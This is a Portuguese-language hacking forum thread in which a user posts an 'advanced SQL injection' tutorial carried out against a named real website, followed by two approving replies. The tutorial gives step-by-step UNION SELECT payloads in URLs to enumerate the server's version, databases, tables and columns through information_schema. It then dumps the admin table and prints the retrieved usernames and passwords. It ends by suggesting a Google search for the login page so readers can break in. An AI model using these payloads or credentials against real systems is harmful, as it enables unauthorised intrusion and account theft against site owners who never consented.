seja bem vindo ao forum eof, caso nao seja cadastrado se cadastre para poder visualizar todo o conteudo ^^

Participe do fórum, é rápido e fácil

seja bem vindo ao forum eof, caso nao seja cadastrado se cadastre para poder visualizar todo o conteudo ^^
Gostaria de reagir a esta mensagem? Crie uma conta em poucos cliques ou inicie sessão para continuar.

Você não está conectado. Conecte-se ou registre-se

SQLi avançado

3 participantes

Ir para baixo  Mensagem [Página 1 de 1]

1SQLi avançado Empty SQLi avançado Ter Nov 20, 2012 11:15 am

Sir.Rafiki

Sir.Rafiki
avançado
avançado

alguem ai que aprender SQL injection avançado?
site cobaia:http://www.chaubara.com/

Vamos lá, iremo começa com pegando um vunerabilidade Very Happy
link vul: [Tens de ter uma conta e sessão iniciada para poderes visualizar este link]
como sei que ta vul? e simples ao inserir a String ' ele me retorno um erro, isso emplica diz que ele recebeu a ' na sua query, então isso no possibilita a injeção de comando SQL

primeiro vamos saber quantas colunas o site tem...:
a dois jeito de se fazer isso , a primera é com order by, e a segunda é com group by, ambas rertonaram a mesma resposta
nessa hora temos que ser espertos, eu gosto de pular de 5 em 5 numeros...

1º Teste: [Tens de ter uma conta e sessão iniciada para poderes visualizar este link] group by 5
pagina nem erro, a coluna 5 existe

2º teste: [Tens de ter uma conta e sessão iniciada para poderes visualizar este link] group by 10
opa achama um erro, note que a pagina apresentou o mesmo erro da vez que colocamos ' , então são menos que 10, irei chuta 7...

3º teste :http://www.chaubara.com/Products.php?ProdId=15 group by 7
sem erro, ou seja só a a possiblida de aver 3 numero de colunas, ou é 7,8,9, irei chuta o 8

4º teste: [Tens de ter uma conta e sessão iniciada para poderes visualizar este link] group by 8
aew consiguimos o numero de colunas, agora iremos selecinar as todas as colunas
OBS > comandos que iremos ultilizar:
union (unir colunas)
select (selecionar colunas)

vamos lá, aparti de agora temos que da um valor null, como assim? iremos troca o 15 por null , assim obteremos numeros que serão nossos parametros de injeção...

teste:http://www.chaubara.com/Products.php?ProdId=null union select 1,2,3,4,5,6,7
note que eu coloquei as colunas de maneira distribuida de 1 até o numero numero de colunas, que no caso é 7
Observe que apareceu dois numero : 2 e 5, esses serãos as numeros seram substituidos por comando, pois assim consiguiremos ver as resposta

Agora vem o que a parte que exigi mais de você, primeiro, devemos ver que versão e o gerenciador de mysql do serve, e qual a sua database(a dois modos de ver isso)...

para a versão a varios modos,entre eles são:
version() e @@version que são os mais usados

então vamos ver nossa versão:
[Tens de ter uma conta e sessão iniciada para poderes visualizar este link] union select 1,version(),3,4,5,6,7
[Tens de ter uma conta e sessão iniciada para poderes visualizar este link] union select 1,@@version,3,4,5,6,7

como você pode ver os dois retornaram a mesma resposta:
5.5.28-0ubuntu0.12.04.2
por que e importante saber disso:
simples por que isso pode ser o determinate para facilita seu trabalho, pois em server que rodam MySQL , por que se a versão for acima de 5.0 poderemos usar a DB information_schema para facilita nossa vida... otimos então podermos termina isso mais rapido

otimo, agora vamos tenta descobrir as database Very Happy
primeiro usar o comando: database() (basta trocar pelo comando da versão)

[Tens de ter uma conta e sessão iniciada para poderes visualizar este link] union select 1,database(),3,4,5,6,7

taram temos o nome de nossa Database corrent (corrent é a padrão)
agora se você quiser lista todas as databases , você usara o seguinte comando
group_concat(schema_name) --> é o comando que substitui o database()
mais porem agora começaresmo a trabalhar com From, com o seguinte comando from information_schema.schemata
um breve explicação fica assim information_schema é a data base que será explorada, e schemata é a table analizada, e o group_concat servi para concatena todos os resultados do coluna schema_name , que é a coluna que guarda os dados das databases do sistema *-*
ok, intão nossa injeção esta assim:
[Tens de ter uma conta e sessão iniciada para poderes visualizar este link] union select 1,group_concat(schema_name),3,4,5,6,7 from information_schema.schemata

isso retornou information_schema,chaubara Very Happy

otimo, então bora explorar a chaubara
primeiro você deve se lembrar que na hora de coloca o nome da database , sempre temos que converte-la para hexadecimal:
como faz isso? bem , é notorio que eu não irei ensina a fazer essa conversão na mão, por que isso gasta muito tempo, porém , temos um axiliar muito importante, um conversor online, bem eu dei um edititadinha na source para ela retorna tudo do direto,
[Tens de ter uma conta e sessão iniciada para poderes visualizar este link]

source orginal online:http://www.dolcevie.com/js/converter.html

otimo , apos colocarmos o chaubara em hex, o resultado será esse 6368617562617261 , e para fazer a leitura dele pela url, deve coloca "0x" na frente do numero ficando assim 0x6368617562617261 ..

voltando a nosso tuto...

agora iremos usa esse comando para achar as tables do site:
no lugar do group_concat(schema_name) você deve colocar group_concat(table_name) por que nos queromos os nomes da tabela
no nosso form ficara assim
from information_schema.tables where table_schema=0x6368617562617261
bora lá, primeiro explicar o information_schema.tables , se você esta lendo tudo na intrega deve ter percebido que nos estamos com esse comando capturando dados da database information_schema e de sua tabela tables, o nosso where(onde) ira busca o valor da table_shema , que é a nossa database que iremos explorar *-*

bora pra pratica:
[Tens de ter uma conta e sessão iniciada para poderes visualizar este link] union select 1,group_concat(table_name),3,4,5,6,7 from information_schema.tables where table_schema=0x6368617562617261

ele retornou isso :
admin,chau_category,chau_items,chau_subcategory,eventpics,events,flashimage,press,testimonials

bem como queremos obter acesso as senha usaremos a tabela Admin,1e agora iremos busca as colunas, assim com a database a tabela tbm deve ser convertida para Hexadecimal, usaremos agora os seguintes comando:
group_concat(column_name) --> pois queremos os nome das colunas
from information_schema.columns -->por que queremos ver o resultados de colunas
where table_name=0x61646d696e AND table_schema=0x6368617562617261
onde table_name é o nome da tabela em hexadecimal e o AND faz a junção com o table_schema=0x6368617562617261 que eu ja expliquei...
ficara assim:
[Tens de ter uma conta e sessão iniciada para poderes visualizar este link] union select 1,group_concat(column_name),3,4,5,6,7 from information_schema.columns where table_name=0x61646d696e AND table_schema=0x6368617562617261

resultado:
id,username,password

pronto estamos acabado, sabendo disso , itemos agora fazer o seguinte
primeiro:
a varios jeito de obtermos os valores da colunas uma bem pratica é essa:
group_concat(username,0x3a,password) o 0x3a é um ;
a outra é colocando apena um de cada vez
username
e depois
password

no nosso form colocaremos os nome em ASCII na seguinte ordem database.tabela
agora ficara assim:
[Tens de ter uma conta e sessão iniciada para poderes visualizar este link] union select 1,group_concat(username,0x3a,password),3,4,5,6,7 from chaubara.admin

ou separado:
[Tens de ter uma conta e sessão iniciada para poderes visualizar este link] union select 1,username,3,4,5,6,7 from chaubara.admin
obs: so retorna o primeiro nome

[Tens de ter uma conta e sessão iniciada para poderes visualizar este link] union select 1,password,3,4,5,6,7 from chaubara.admin

te retorna apenas a senha do primeiro nome.....

resultado:
do group_concat(username,0x3a,password)
chauadmin:ch1ub1r1,ch1u1dmin:ch2ub2r2

de apenas username
chauadmin

do password
ch1ub1r1


*-* ufa cansei,eu não encontrei a pagina de login desse site, mas para busca normalmente eu uso o google, com a seguinte String de pesquisa:
site:nome_do_site & login
ou login pode ser substituido por, admin e etc...
exemplo :
site:[Tens de ter uma conta e sessão iniciada para poderes visualizar este link] & login
se encontra pode explorar pessoal Very Happy

ajuda:MMxM

2SQLi avançado Empty Re: SQLi avançado Ter Nov 20, 2012 1:56 pm

mmxm

avatar
avançado
avançado

Ficou muito bom o tutorial mano Very Happy

3SQLi avançado Empty Re: SQLi avançado Ter Nov 20, 2012 2:09 pm

susp3it0virtu@l

susp3it0virtu@l
master
master

valeu por compartilhar,para quem esta começando vai ser muito util Cool

Conteúdo patrocinado



Ir para o topo  Mensagem [Página 1 de 1]

Permissões neste sub-fórum
Não podes responder a tópicos